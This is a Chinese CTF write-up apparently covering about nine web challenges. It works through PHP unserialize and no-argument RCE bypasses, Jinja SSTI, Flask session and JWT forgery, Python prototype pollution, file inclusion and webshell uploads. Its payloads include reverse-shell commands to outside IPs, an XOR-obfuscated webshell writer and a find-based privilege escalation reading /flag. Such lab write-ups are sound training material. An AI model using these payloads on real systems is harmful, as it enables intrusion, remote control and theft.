ez_remove1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 <?php highlight_file (__FILE__ );class syc { public $lover ; public function __destruct ( ) { eval ($this ->lover); } }if (isset ($_GET ['web' ])){ if (!preg_match ('/lover/i' ,$_GET ['web' ])){ $a =unserialize ($_GET ['web' ]); throw new Error ("快来玩快来玩~" ); } else { echo ("nonono" ); } }?>
PHP
看源代码发现主要是绕过preg_match进行代码执行,这边可以用16进制编码绕过,而且下面有throw new Error(“快来玩快来玩~”);所以要fast destruct,fast destruct主要通过在反序列化最后去掉一个},使它提前触发destruct
payload
1 ?web=O:3:"syc":1:{S:5:"\6cover";s:15:"eval($_GET[1]);";
URL
这边要注意S的大写
然后用system进行命令执行,发现被搬
image-20231101181954141
后来经过尝试发现貌似只有proc_open没被过滤
用法如下
1 2 3 4 5 6 7 8 9 10 <?php $des = array ( 0 => array ("pipe" , "r" ), 1 => array ("pipe" , "w" ), 2 => array ("file" , "./error-output.txt" , "a" ) ); $process = proc_open ($_GET [1 ], $des , $pipes );var_dump ($pipes );echo stream_get_contents ($pipes [1 ]);
PHP
最后的payload
1 ?web=O:3 :"syc" :1 :{S:5 :"\6cover" ;s:15 :"eval($_GET [1]);" ;&1 =proc_open ('bash -c "bash -i >%26 /dev/tcp/8.146.209.98/777 0>%261"' ,array (0 => array ("pipe" , "r" ),1 => array ("pipe" , "w" ),2 => array ("file" , "./error-output.txt" , "a" )),$pipes );var_dump ($pipes );echo stream_get_contents ($pipes [1 ]);
PHP
在公网上监听
image-20231101182636864
反弹成功
接下来读取flag
image-20231101182707716
SYC{2kxBFYwOhKfr3jKi80}
Pupyy_rce打开环境,发现源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php highlight_file (__FILE__ );header ('Content-Type: text/html; charset=utf-8' );error_reporting (0 );include (flag.php);if (isset ($_GET ['var' ]) && $_GET ['var' ]) { $var = $_GET ['var' ]; if (!preg_match ("/env|var|session|header/i" , $var ,$match )) { if (';' === preg_replace ('/[^\s\(\)]+?\((?R)?\)/' , '' , $var )){ eval ($_GET ['var' ]); } else die ("WAF!!" ); } else { die ("PLZ DONT HCAK ME😅" ); } }
PHP
关键代码
1 2 if (!preg_match ("/env|var|session|header/i" , $var ,$match ))if (';' === preg_replace ('/[^\s\(\)]+?\((?R)?\)/' , '' , $var ))
PHP
一眼顶真,是无参rce具体参考我的博客无参数命令执行学习
1 2 3 4 5 6 7 8 9 10 11 12 print_r (scandir (current (localeconv ())));当前目录倒数第一位文件: show_source (end (scandir (getcwd ())));show_source (current (array_reverse (scandir (getcwd ()))));当前目录倒数第二位文件: show_source (next (array_reverse (scandir (getcwd ()))));随机返回当前目录文件: highlight_file (array_rand (array_flip (scandir (getcwd ()))));show_source (array_rand (array_flip (scandir (getcwd ()))));show_source (array_rand (array_flip (scandir (current (localeconv ())))));
ISBL
image-20231105112320415
因为是随机返回,所以要多试几次
SYC{1zDgyejyGY3xNMYuAV}
klf_ssti打开环境查看源码
image-20231105115855402
访问路由/hack
image-20231105115916084
尝试一下get传参klf
image-20231105115944104
根据题目的描述,怀疑存在ssti注入漏洞,但是是盲注,我们先要找到哪里有popen
附盲注的脚本
1 2 3 4 5 6 7 8 9 10 11 import requests url="https://ytssutxxytj8e87bscua8r9c4.node.game.sycsec.com/hack" for i in range (600 ): try : data={"klf" :'{{"".__class__.__base__.__subclasses__()[' +str (i)+'].__init__.__globals__["popen"]}}' } respose=requests.get(url,params=data) if respose.status_code==200 : print (i) except : pass
PYTHON
得到运行结果
image-20231105120117871
经过尝试发现117里有popen,所以构造反弹shell的payload
1 ?klf= {{"".__class__.__base__.__subclasses__ ()[117].__init__.__globals__["popen"]("bash -c 'bash -i >& /dev/tcp/8.146.209.98/777 0>&1'" ).read()}}
HANDLEBARS
url加密一下执行上传,同时服务器进行监听
image-20231105120234396
反弹shell之后就是找flag了,这边找得我奔溃了,根本找不到,还好我锲而不舍
image-20231105120650304
SYC{PqCgjFkyhVn6XVdXEU}
you konw flask?image-20231105151947535
使用robots.txt,发现/3ysd8.html,我们先访问一下
image-20231105152203707
发现session的key
我们去生成一个字典
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import base64 hex_dict = []for byte1 in range (1 ,101 ): s='wanbao' +base64.b64encode (str (byte1).encode ('utf-8' )).decode ('utf-8' )+'wanbao' hex_representation = f"'{s}'" hex_dict.append (hex_representation) with open ("session_key.txt" , "w" ) as file: for item in hex_dict: file.write (f"{item}\n" )
PHP
然后用字典去解session的key,我们先注册一个账户获取key
image-20231105152528856
1 flask-unsign --unsign --wordlist session_key.txt --cookie < session.txt
STYLUS
其中session_key.txt保存密钥,session.txt保存要解密的session
最后得到解密的session和密钥
image-20231105152641587
然后去用flask_session_cookie_manager去加密
1 python flask_session_cookie_manager3.py encode -s "wanbaoNDM=wanbao" -t "{' is_admin': True, 'name' : 'qetx' , 'user_id' : 2 }"
SCILAB
其中用户名和session的key换成自己的
image-20231105152804641
拿session去访问
image-20231105153013255
点学员管理
image-20231105153035480
SYC{hIfB1FTMy6A4upFs1B}
famale_imp_l0ve打开环境
image-20231106185604831
发现只能上传zip文件,而且还不会解压,所以先进行了目录扫描,看看有没有什么其它路由
用dirmap扫描之后发现了一些可疑的路由
image-20231106185733078
访问/index.php/login并查看源代码,发现另一个重要的路由/include.php
image-20231106185838805
访问/include.php路由,得到源码
1 2 3 4 5 6 7 8 9 <?php header ('Content-Type: text/html; charset=utf-8' );highlight_file (__FILE__ );$file = $_GET ['file' ];if (isset ($file ) && strtolower (substr ($file , -4 )) == ".jpg" ){ include ($file ); }?>
PHP
可以看到文件包含,初步思路是写一个木马命名为1.jpg,将1.jpg压缩成为flag1.zip然后上传,接着在文件包含的漏洞处用phar伪协议来访问压缩包内的木马文件并包含
image-20231106191906927
SYC{qdYQnb1Bu2rsVShSOp}
ez_path给了一个pyc文件,先进行一下反编译,反编译在线网站:https://www.toolkk.com/tools/pyc-decomplie#google_vignette
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 import os, uuidfrom flask import Flask, render_template, request, redirect app = Flask(__name__) ARTICLES_FOLDER = 'articles/' articles = []class Article : def __init__ (self, article_id, title, content ): self.article_id = article_id self.title = title self.content = contentdef generate_article_id (): return str (uuid.uuid4())@app.route('/' ) def index (): return render_template('index.html' , articles=articles)@app.route('/upload' , methods=['GET' , 'POST' ] ) def upload (): if request.method == 'POST' : title = request.form['title' ] content = request.form['content' ] article_id = generate_article_id() article = Article(article_id, title, content) articles.append(article) save_article(article_id, title, content) return redirect('/' ) else : return render_template('upload.html' )@app.route('/article/<article_id>' ) def article (article_id ): for article in articles: if article.article_id == article_id: title = article.title sanitized_title = sanitize_filename(title) article_path = os.path.join(ARTICLES_FOLDER, sanitized_title) with open (article_path, 'r' ) as (file): content = file.read() return render_template('articles.html' , title=sanitized_title, content=content, article_path=article_path) return render_template('error.html' )def save_article (article_id, title, content ): sanitized_title = sanitize_filename(title) article_path = ARTICLES_FOLDER + '/' + sanitized_title with open (article_path, 'w' ) as (file): file.write(content)def sanitize_filename (filename ): sensitive_chars = [ ':' , '*' , '?' , '"' , '<' , '>' , '|' , '.' ] for char in sensitive_chars: filename = filename.replace(char, '_' ) return filenameif __name__ == '__main__' : app.run(debug=True )
PYTHON
关键代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 @app.route ('/upload' , methods=['GET' , 'POST' ]) def upload (): if request.method == 'POST' : title = request.form['title' ] content = request.form['content' ] article_id = generate_article_id () article = Article (article_id, title, content) articles.append (article) save_article (article_id, title, content) return redirect ('/' ) else : return render_template ('upload.html' ) @app.route ('/article/<article_id>' ) def article (article_id): for article in articles: if article.article_id == article_id: title = article.title sanitized_title = sanitize_filename (title) article_path = os.path.join (ARTICLES_FOLDER, sanitized_title) with open (article_path, 'r' ) as (file): content = file.read () return render_template ('articles.html' , title=sanitized_title, content=content, article_path=article_path)
PHP
源代码可以看到flag路径
image-20231107142404095
直接任意文件读取
image-20231107142446373
image-20231107142456549
image-20231107142504554
SYC{5uaaTqP4nlC0AmIvUT}
EzRce1 2 3 4 5 6 7 8 9 10 11 12 <?php include ('waf.php' );session_start ();show_source (__FILE__ );error_reporting (0 );$data =$_GET ['data' ];if (waf ($data )){ eval ($data ); }else { echo "no!" ; }?>
PHP
后面getshell之后去看了waf.php的源码,嘿嘿
1 2 3 4 5 6 7 8 9 <?php function waf ($data ) { if (preg_match ('/[b-df-km-uw-z0-9\+\~\{\}]+/i' ,$data )){ return False; }else { return True; } }
PHP
这边就直接用异或
附上脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 payload = "phpinfo" strlist = [0 , 1 , 2 , 3 , 4 , 5 , 6 , 7 , 8 , 9 , 10 , 11 , 12 , 13 , 14 , 15 , 16 , 17 , 18 , 19 , 20 , 21 , 22 , 23 , 24 , 25 , 26 , 27 , 28 , 29 , 30 , 31 , 32 , 33 , 35 , 36 , 37 , 38 , 40 , 41 , 42 , 43 , 44 , 45 , 46 , 47 , 58 , 59 , 60 , 61 , 62 , 63 , 64 , 91 , 93 , 94 , 95 , 96 , 124 ,127 ] str1,str2 = '' ,'' for char in payload: for i in strlist: for j in strlist: if (i ^ j == ord (char)): i = '%{:0>2}' .format (hex (i)[2 :]) j = '%{:0>2}' .format (hex (j)[2 :]) print ("('{0}'^'{1}')" .format (i,j),end="." ) break else : continue break
PYTHON
先看一下phpinfo
payload
1 2 (('%0c '^ '%7c ').('%08 '^ '%60 ').('%0c '^ '%7c ').('%09 '^ '%60 ').('%0e '^ '%60 ').('%06 '^ '%60 ').('%0f '^ '%60 ')) ()
SCHEME
image-20231114220714892
image-20231114220830746
看到被过滤了那么多函数,那没办法了,只能写入webshell然后fantanshell了
用file_put_contents(“s.php”,”%26 /dev/tcp/111.229.162.217/777 0>%261"',array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("file", "./error-output.txt", "a")),$pipes);var_dump($pipes);echo stream_get_contents($pipes[1]);?>“);
这边用了proc_open来绕过
但是我们要执行的payload得一步步执行
1 2 3 4 5 6 7 $_ =('%06' ^'%60' ).('%09' ^'%60' ).('%0c' ^'%60' ).('%05' ^'%60' ).('%00' ^'%5f' ).('%0c' ^'%7c' ).('%09' ^'%7c' ).('%08' ^'%7c' ).('%00' ^'%5f' ).('%03' ^'%60' ).('%0f' ^'%60' ).('%0e' ^'%60' ).('%08' ^'%7c' ).('%05' ^'%60' ).('%0e' ^'%60' ).('%08' ^'%7c' ).('%0c' ^'%7f' );$__ ='_' .('%0b' ^'%5b' ).('%0f' ^'%40' ).('%08' ^'%5b' ).('%09' ^'%5d' );$___ =$$__ ;$_ ($___ ['_' ],$___ ['*' ]); 最后post提交 _=shell.php&*=<?php eval ($des = array (0 => array ("pipe" , "r" ),1 => array ("pipe" , "w" ),2 => array ("file" , "./error-output.txt" , "a" ));$process = proc_open ('bash -c "bash -i >& /dev/tcp/111.229.162.217/777 0>&1"' , $des , $pipes );var_dump ($pipes );echo stream_get_contents ($pipes [1 ]););?>
PHP
然后去访问shell.php,并在本地监听,得到webshell
image-20231114221406315
然后发现没直接读取的权限
那就看能不能提权
image-20231114221451407
发现find命令可以执行管理员权限,那就用find提权
1 find 'which find' -exec cat /flag \;
BASH
image-20231114221637830
SYC{ThE_RCe_is_S0_Eas1ly_DD!}
ezpython考点:python原型链污染和一个int绕过
先下载源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 import jsonimport osfrom waf import wafimport importlibfrom flask import Flask,render_template,request,redirect,url_for,session,render_template_string app = Flask(__name__) app.secret_key='jjjjggggggreekchallenge202333333' class User (): def __init__ (self ): self.username="" self.password="" self.isvip=False class hhh (User ): def __init__ (self ): self.username="" self.password="" registered_users=[]@app.route('/' ) def hello_world (): return render_template("welcome.html" )@app.route('/play' ) def play (): username=session.get('username' ) if username: return render_template('index.html' ,name=username) else : return redirect(url_for('login' ))@app.route('/login' ,methods=['GET' ,'POST' ] ) def login (): if request.method == 'POST' : username=request.form.get('username' ) password=request.form.get('password' ) user = next ((user for user in registered_users if user.username == username and user.password == password), None ) if user: session['username' ] = user.username session['password' ]=user.password return redirect(url_for('play' )) else : return "Invalid login" return redirect(url_for('play' )) return render_template("login.html" )@app.route('/register' ,methods=['GET' ,'POST' ] ) def register (): if request.method == 'POST' : try : if waf(request.data): return "fuck payload!Hacker!!!" data=json.loads(request.data) if "username" not in data or "password" not in data: return "连用户名密码都没有你注册啥呢" user=hhh() merge(data,user) registered_users.append(user) except Exception as e: return "泰酷辣,没有注册成功捏" return redirect(url_for('login' )) else : return render_template("register.html" )@app.route('/flag' ,methods=['GET' ] ) def flag (): user = next ((user for user in registered_users if user.username ==session['username' ] and user.password == session['password' ]), None ) if user: if user.isvip: data=request.args.get('num' ) if data: if '0' not in data and data != "123456789" and int (data) == 123456789 and len (data) <=10 : flag = os.environ.get('geek_flag' ) return render_template('flag.html' ,flag=flag) else : return "你的数字不对哦!" else : return "I need a num!!!" else : return render_template_string('这种神功你不充VIP也想学?<p><img src="{{url_for(\'static\',filename=\'weixin.png\')}}">要不v我50,我送你一个VIP吧,嘻嘻</p>' ) else : return "先登录去" def merge (src, dst )://原型链污染 for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)if __name__ == '__main__' : app.run(host="0.0.0.0" ,port="8888" )
PYTHON
简单分析一下大概就是我们先要再/register的路由下注册一个账户,然后要确保是vip(这边要用到原型链污染,因为注册的user类里没isvip),然后再去访问/flag的路由,绕过if判断之后就可以看到flag了
再来看一下注册的前端代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 <!DOCTYPE html > <html > <head > <meta charset ="utf-8" > <title > 用户注册</title > </head > <body > <h1 > 用户注册</h1 > <form id ="registrationForm" > <label for ="username" > 用户名:</label > <br > <input type ="text" id ="username" name ="username" required > <br > <br > <label for ="password" > 密码:</label > <br > <input type ="password" id ="password" name ="password" required > <br > <br > <input type ="submit" value ="注册" > </form > <script > document .getElementById ('registrationForm' ).addEventListener ('submit' , function (event ) { event.preventDefault (); var username = document .getElementById ('username' ).value ; var password = document .getElementById ('password' ).value ; var formData = { username : username, password : password }; var formDataJSON = JSON .stringify (formData); fetch ('/register' , { method : 'POST' , headers : { 'Content-Type' : 'application/json' }, body : formDataJSON }).then (response => { if (response.ok ) { window .location .href = '/login' ; } else { console .log ('Registration failed' ); } }).catch (error => { console .error ('Registration error:' , error); }); }); </script > </body > </html >
XML
关键代码
1 2 3 4 5 method : 'POST' , headers: , body: formDataJSON
OXYGENE
可以看到前端从表单获取数据然后以json的格式返回到后端,那么我们就可以用burp抓包来发送json格式的数据然后并进行原型链污染
构造payload,因为isvip被过滤了,所以我们要用unicode编码来绕过\u0069\u0073\u0076\u0069\u0070
1 2 3 4 5 6 7 8 9 { "username" :"qetx" , "password" :"123" , "__class__" : { "__base__" : { "\u0069 \u0073 \u0076 \u0069 \u0070 " :true } } }
WREN
image-20231116111338373
这边要注意几个点,首先使用post发包,其次Content-Type: application/json,最后发送的post内容要符合json格式,可以发现注册成功,接下来先登录一下/login然后接着去访问/flag的路由,用get方法传入一个num=+123456789
1 https://an2e3bhn4xwap1sc1bkztiyjn.node.game.sycsec.com/flag?num=+123456789
BASH
执行之后查看源代码就可以得到flag了
image-20231116111836581
SYC{KpMMmU2EQxjPJc6Yb5}
change_it打开是一个登录界面,查看源代码看到用户名和密码user和user,登录进去
image-20231118125334644
可以看到有文件上传漏洞,但是发现不是管理员没法上传
看一下token
image-20231118125611874
根据前端的代码,猜测大概率是jwt格式的token,和伪造flask的session一样,我们先去爆破一下密码
image-20231118125954882
可以看到爆破出来的密码是yibao,那么接下来就是去伪造token了
image-20231118130128519
将伪造后的session放入cookie
image-20231118130205450
发现可以上传图片了,但是上传木马之后发现木马的名字命名是随机的,但是可以通过源码看到它生成随机密码的函数
1 2 3 4 5 6 7 8 9 10 11 12 function php_mt_seed ($seed ) { mt_srand ($seed ); } $seed = time (); php_mt_seed ($seed ); $characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ; $newFileName = '' ; for ($i = 0 ; $i < 10 ; $i ++) { $newFileName .= $characters [mt_rand (0 , strlen ($characters ) - 1 )]; }
PHP
但是根据
可以判断出这个是伪随机,我们只要写一个爆破的脚本就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 <?php function php_mt_seed ($seed ) {mt_srand ($seed ); }$seed = time ();$characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789' ;for ($time =$seed -30 ;$time <=$seed +30 ;$time ++) { $newFileName = '' ; php_mt_seed ($time ); for ($i = 0 ; $i < 10 ; $i ++) { $newFileName .= $characters [mt_rand (0 , strlen ($characters ) - 1 )]; } print ($newFileName ); echo PHP_EOL; }
PHP
1 2 3 4 5 6 7 8 9 10 11 12 13 import requestsimport time url1="http://c6tbksa38l0vybgg88486rhgf.node.game.sycsec.com/upload/{}.php" //注意不要用https访问,不然报错with open ('name.txt' ,'r' ) as f: lines=f.readlines()for line in lines: time.sleep(2 ) line=line.replace('\n' ,'' ) url=url1.format (line) response=requests.get(url) if response.status_code==200 : print (url) break
PYTHON
image-20231118133737382
去用蚁剑连接这个网址
image-20231118133927668
得到flag
SYC{xw5Fv0DwtkRsasfvg1}